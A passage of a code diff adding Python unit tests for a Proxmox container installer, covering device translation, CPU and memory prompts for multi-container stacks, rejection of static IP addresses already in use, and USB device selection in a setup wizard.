+
+    def test_a_member_without_devices_has_none(self):
+        self.assertEqual(oci_stack_replay.translated_devices(projection()), [])
+
+    def test_an_unknown_device_has_no_translation(self):
+        for value in ("path=/dev/sda,mode=0660", "path=/dev/nvidia0,mode=0666", "mode=0660"):
+            with self.assertRaises(ValueError):
+                oci_stack_replay.translated_devices(projection(value))
+
+
+if __name__ == "__main__":
+    unittest.main()

oci/tests/test_stack_resources.py

@@ -0,0 +1,60 @@
+"""An advanced installation of a multi-container application asks the CPU and
+the memory of its application container; a default one keeps the recipe."""
+
+from pathlib import Path
+import sys
+import unittest
+from unittest.mock import patch
+
+ROOT = Path(__file__).resolve().parents[1]
+sys.path.insert(0, str(ROOT / "src"))
+sys.path.insert(0, str(Path(__file__).resolve().parent))
+
+from proxmenux_oci.catalog import Catalog
+from proxmenux_oci.cli import _deployment_summary_text
+from proxmenux_oci.installer import ADVANCED_MODE, DEFAULT_MODE, InstallError, build_deployment
+from test_advanced_flow_order import RecordingUI, addresses, storages
+
+SPECIAL = {"nextcloud-stack": (2, 2048), "paperless-ngx": (2, 2048), "tandoor": (2, 2048), "immich": (4, 3072)}
+REMOTE = {"nextcloud-stack": "nextcloud", "paperless-ngx": "paperless", "tandoor": "tandoor", "immich": "immich"}
+
+
+@patch("proxmenux_oci.i18n.language", return_value="en")
+@patch("proxmenux_oci.installer.host.storages", side_effect=storages)
+@patch("proxmenux_oci.installer.host.bridges", return_value=[{"iface": "vmbr0", "cidr": "192.0.2.10/24"}])
+@patch("proxmenux_oci.installer.host.timezone", return_value="Europe/Madrid")
+@patch("proxmenux_oci.installer.access.ask_addresses", side_effect=addresses)
+class StackResourceTests(unittest.TestCase):
+    catalog = Catalog(ROOT)
+
+    def test_the_advanced_installation_asks_cpu_and_memory_before_the_storage(self, *_):
+        for app in SPECIAL:
+            ui = RecordingUI({"CPU cores": "6", "Memory in MB": "4096"})
+            template = self.catalog.compose(app)
+            plan = build_deployment(template, ui, ADVANCED_MODE)
+            self.assertEqual((plan["resources"]["cores"], plan["resources"]["memory_mb"]), (6, 4096), app)
+            self.assertLess(ui.asked.index("Memory in MB"), ui.asked.index("Storage for rootfs"), app)
+            self.assertIn("6 CPU, 4096 MB RAM", _deployment_summary_text(template, plan), app)
+
+    def test_the_default_installation_keeps_the_resources_of_the_recipe(self, *_):
+        for app, expected in SPECIAL.items():
+            ui = RecordingUI()
+            plan = build_deployment(self.catalog.compose(app), ui, DEFAULT_MODE)
+            self.assertEqual((plan["resources"]["cores"], plan["resources"]["memory_mb"]), expected, app)
+            self.assertNotIn("CPU cores", ui.asked, app)
+
+    def test_resources_that_cannot_run_the_application_are_refused(self, *_):
+        ui = RecordingUI({"CPU cores": "0"})
+        with self.assertRaises(InstallError):
+            build_deployment(self.catalog.compose("tandoor"), ui, ADVANCED_MODE)
+
+    def test_the_installers_create_the_application_with_the_chosen_resources(self, *_):
+        for app, (cores, memory) in SPECIAL.items():
+            script = (ROOT / f"remote/install_{REMOTE[app]}_stack.sh").read_text()
+            self.assertIn(f"jqr '.resources.cores // {cores}'", script, app)
+            self.assertIn(f"jqr '.resources.memory_mb // {memory}'", script, app)
+            self.assertIn('--cores "$APPLICATION_CORES" --memory "$APPLICATION_MEMORY"', script, app)
+
+
+if __name__ == "__main__":
+    unittest.main()

oci/tests/test_static_address_in_use.py

@@ -0,0 +1,55 @@
+"""A static address another device of the network already uses is not accepted."""
+
+from pathlib import Path
+import sys
+import unittest
+from unittest.mock import patch
+
+ROOT = Path(__file__).resolve().parents[1]
+sys.path.insert(0, str(ROOT / "src"))
+
+from proxmenux_oci import network
+
+BRIDGES = [{"iface": "vmbr0", "cidr": "192.168.0.50/24", "gateway": "192.168.0.1"}]
+
+
+class SequenceUI:
+    def __init__(self, answers):
+        self.answers = iter(answers)
+        self.messages = []
+
+    def choose(self, *_args, **_kwargs):
+        return next(self.answers)
+
+    def ask(self, *_args, **_kwargs):
+        return next(self.answers)
+
+    def message(self, text):
+        self.messages.append(text)
+
+
+@patch("proxmenux_oci.i18n.language", return_value="en")
+@patch.object(network.host, "bridges", return_value=BRIDGES)
+@patch.object(network, "addresses_in_use", return_value=set())
+class StaticAddressInUseTests(unittest.TestCase):
+    def test_an_address_that_answers_is_asked_again(self, *_):
+        ui = SequenceUI([network.STATIC, "192.168.0.99/24", "192.168.0.170/24", "192.168.0.1"])
+        with patch.object(network.host, "address_answers", side_effect=lambda ip, bridge: ip == "192.168.0.99") as probe:
+            addresses, gateway = network.ask_addresses(ui, "vmbr0", [""])
+        self.assertEqual((addresses[""], gateway), ("192.168.0.170/24", "192.168.0.1"))
+        self.assertEqual([call.args for call in probe.call_args_list],
+                         [("192.168.0.99", "vmbr0"), ("192.168.0.170", "vmbr0")])
+        self.assertEqual(len(ui.messages), 1)
+        self.assertIn("192.168.0.99", ui.messages[0])
+
+    def test_the_address_the_container_already_has_is_not_probed(self, *_):
+        ui = SequenceUI([network.STATIC, "192.168.0.169/24", "192.168.0.1"])
+        with patch.object(network.host, "address_answers", return_value=True) as probe:
+            addresses, _gateway = network.ask_addresses(ui, "vmbr0", [""], {"": "192.168.0.169/24"}, "192.168.0.1")
+        self.assertEqual(addresses[""], "192.168.0.169/24")
+        probe.assert_not_called()
+        self.assertEqual(ui.messages, [])
+
+
+if __name__ == "__main__":
+    unittest.main()

oci/tests/test_wizard.py

@@ -13,6 +13,9 @@ from proxmenux_oci.extra_devices import (ask_extra_devices, ask_stack_extra_devi
 from proxmenux_oci.ui import BackRequested, BacktrackUI, DialogUI, RestartWizard
 
 
+USB = [{'path': '/dev/ttyACM0', 'name': 'ConBee II', 'kind': 'Communications'}]
+
+
 class SequenceUI:
     def __init__(self, answers):
         self.answers = iter(answers)
@@ -69,7 +72,8 @@ class WizardTests(unittest.TestCase):
         finally:
             wizard.close()
 
-    def test_manual_usb_is_available_without_profile(self):
+    @patch('proxmenux_oci.extra_devices.host.usb_devices', return_value=USB)
+    def test_manual_usb_is_available_without_profile(self, _usb):
         ui = SequenceUI([True, 'usb', '/dev/ttyACM0', False])
         devices = ask_extra_devices(ui, [], True)
         self.assertEqual(devices[0]['host_path'], '/dev/ttyACM0')
@@ -80,7 +84,8 @@ class WizardTests(unittest.TestCase):
                                          [{'kind': 'character-device'}])
         self.assertEqual(permissions['strategy'], 'linuxserver-native-init')
 
-    def test_stack_device_goes_only_to_selected_member(self):
+    @patch('proxmenux_oci.extra_devices.host.usb_devices', return_value=USB)
+    def test_stack_device_goes_only_to_selected_member(self, _usb):
         ui = SequenceUI([True, 'usb', '/dev/ttyACM0', False, ['server']])
         services = [
             {'name': name, 'main': name == 'server',